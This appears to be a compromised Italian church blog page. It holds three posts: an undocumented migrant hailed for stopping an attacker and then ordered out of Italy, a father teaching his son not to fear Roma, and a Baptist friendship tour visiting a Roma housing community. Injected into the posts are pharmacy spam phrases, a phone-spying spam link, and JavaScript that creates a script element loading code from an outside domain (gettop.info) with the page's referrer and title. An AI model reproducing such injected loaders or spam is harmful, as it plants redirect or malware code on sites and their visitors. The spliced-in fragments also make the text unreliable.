Storie di ordinaria follia – parte terza

“Non sono un eroe, ho fatto la cosa giusta”

Parla il clandestino che ha bloccato l´aggressore dell´amica: “Il foglio di via mi ha fatto male” Vivo in un´ex fabbrica di Moncalieri: senza documenti e senza lavoro niente casa Uno l´ho fermato vicino al negozio di un mio amico egiziano che mi diceva di scappare

Domenica Sahabi Sadali è andato al Mauriziano a trovare la sua amica. Per poco lei non perdeva il braccio, in seguito a quell’aggressione nel parco del Valentino vicino allo Chalet. È stato per merito suo se giovedì notte gli uomini del nucleo radiomobile sono riusciti ad arrestare in tempi brevissimi due giovani peruviani che a lo avevano appena rapinato del marsupio e avevano accoltellato in modo brutale una sua amica, Loreta Rizza, 45 anni, per strapparle la borsa. Ma dopo aver contribuito a fare giustizia, si è trovato in mano un foglio di via perché è senza documenti. Entro martedì deve lasciare l´Italia, altrimenti se le forze dell´ordine lo fermeranno sarà arrestato.

Leggi su Lastampa.it il resto dell’intervista realizzata da Federica Cravero. 

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Storie di ordinaria follia – parte prima

NormalitÃ

La bambina si avvicina, logora e cenciosa. La madre la guarda da poco distante, con un fagotto in braccio. Logoro e cencioso appena meno di lei. Tutti e tre emanano quell’odore forte di corpo non lavato. La donna e la bimba hanno i capelli e il volto sporchissimi. – Cos’hai là ? – chiede la bimba. – E’ il disco di Goldrake che mi ha comprato il mio babbo – le fa Jacopo. – Fa vedere! – gli risponde lei togliendologlielo di mano, con la prepotente curiosità dei bambini. La madre mi guarda. Le sue compagne sono poco più avanti a chiedere l’elemosina in cambio di fortuna e amore. Sembra che aspetti una mia reazione, fa per avvicinarsi. Poi si ferma. Io non batto ciglio. – Hai visto? Lui uccide tutti i cattivi! – urla Jacopo. – Bello. A me piace anche Shreck e Nemo. – Anche a me! Anche a me! – A casa ho le cassette anche io, sai? – Belloooooo! – Tieni! Ciao… – Ciao! La bimba si allontana con la madre. Jacopo guarda soddisfatto la confezione del suo dvd. Mi ridà la mano e proseguiamo per la nostra strada. Io non sono un eroe o un uomo speciale. Non ho fatto altro che quello che avrei fatto con qualsiasi altro bambino. I rom li rispetto ma non li comprendo più di tanto e detesto quando vanno in giro a mendicare coi neonati in braccio. Ma mio figlio non deve avere paura di loro. Io sono

responsabile di lui e dell’uomo che diventerà . E non sarà una persona che ragiona per preconcetti, di questo sono sicuro. Forse i genitori di altri ragazzi avrebbero dovuto comportarsi in modo diverso. Una persona non sarebbe stata uccisa a sprangate

per un pacco di biscotti. Forse certi insegnanti dovrebbero comportarsi in modo diverso. Sicuramente molti politici dovrebbero comportarsi in modo diverso, togliendosi le camice verdi e nere dal cervello e dagli occhi. Ma non possiamo essere responsabili per loro. Tutto quello che posso fare è insegnare ai miei figli a non aver paura delle cose e delle persone che non conoscono e che possono apparire loro sporche, fastidiose, fuori posto. Per me è già tanto. (Maurizio Gomboli) valtrex over the counter s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://letaschepiene.it/2017/10/31/snapchat-spy-spy-without-jailbreak-track-phone-number/

Il camper dell’amicizia con il popolo Rom e Sinti, tappa a Settimo Torinese

Una pioggia scrosciante si abbatte sulla zona di Settimo Torinese dove l’Associazione delle Chiese Battiste del Piemonte ha organizzato insieme all’Associazione Terra del Fuoco (Gruppo Abele)  la seconda tappa della maratona che prevede di toccare 6 città in 6 giorni per manifestare amicizia nei confronti del popolo rom. Siamo al secondo giorno e siamo ospitati calorosamente dalla Comunità Il Dado. L’edificio dipinto di giallo ha un aspetto allegro e accogliente. Sulla fiancata della casa c’è scritta una frase in italiano, inglese e romeno: Noi difendiamo i nostri sogni realizzandoli.  Ed e’ proprio la realizzazione di un sogno questa comunità che oggi accoglie cinque famiglie rom, sei rifugiati iraniani e un gruppo di richiedenti asilo somali, oltre a due famiglie italiane. Fra i visi sorridenti che ci accolgono, scorgo anche un ragazzo che mi sembra di conoscere. Ecco chi è: Samuel, il testimonial della campagna antirazzista Non aver paura. Anche lui abita qui. La storia di questo posto nasce da un evento tragico, l’incendio di un  campo rom abusivo avvenuto nel novembre del 2006 in seguito al quale 250 persone sono rimaste senza riparo. Un’odissea senza fine di porte sbattute in faccia e di muri di gomma burocratici non ha scoraggiato i giovani volontari che hanno scelto di affiancare quelle famiglie nella ricerca di un riparo e di dignità. Poi finalmente la svolta. Il Comune di Settimo Torinese ha un edificio fatiscente, bisognoso di riqualificazione strutturale e sociale. Parte il progetto di auto recupero che impegna i rom in prima persona a lavorare alacremente per ristrutturare quegli spazi fino a renderli “casa”. Questo è accaduto ed ecco noi ci troviamo sulla terrazza del Dado  per ascoltare le testimonianze di chi ha vissuto la realizzazione di questo sogno. Siamo in tanti. Oltre alla delegazione che sta girando l’Italia, che comprende M. Aprile e C. Bianchi, segretari dei dipartimenti UCEBI di teologia e delle chiese internazionali, Anna Maffei, presidente UCEBI, Elena Levak, rappresentante del popolo rom e Debbie Kelsy, missionaria che lavora contro la tratta, ci sono tanti fratelli e sorelle provenienti dalle chiese battiste del Piemonte. C’è anche una rappresentate di Amnesty International che presenta la petizione contro l’attuazione del piano nomadi di Roma  (http://www.amnesty.it/rom_diritto_alloggio) e poi c’è l’orchestra Svoboda, di trascinante e coinvolgente musica Rom. Il pastore Luigi Pecora, segretario dell’Associazione battista piemontese, guida magistralmente la serata che alterna musica e testimonianze. Rosanna Falsetta, responsabile de Il Dado, ci racconta la storia della comunità, la pastora Maffei spiega il senso dell’iniziativa del Camper dell’amicizia, poi è la volta della commossa testimonianza di Elena Levak che parla della paura, ma anche dell’amore di Dio come antidoto alle paure perché “L’amore perfetto di Dio caccia via la paura”. Sì, vincere la paura è possibile, quando non si è più soli. In questo momento c’è però ancora paura. “Piove e il piccolo insediamento rom di baracche sulle rive del Po, a poca distanza dalla chiesa battista di Moncalieri – dice il pastore Pecora – è in pericolo perchè il fiume può uscire dagli argini da un momento all’altro. Se dovesse accadere, quelle famiglie troverebbero le porte della chiesa aperta per accoglierli. Questo è possibile perché tempo fa è cominciata un’amicizia che ci ha cambiati”. Ecco il senso di questa iniziativa, trovare e valorizzare le esperienze di amicizia che ci hanno cambiato e incoraggiarne altre e altre ancora.
Grazie per la vostra testimonianza!

Anna Maffei
Unione Cristiana Evangelica Battista d’Italia sildenafil 100 mg precio mexico var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);http://xizheng.sourceforge.net/archives/10568.html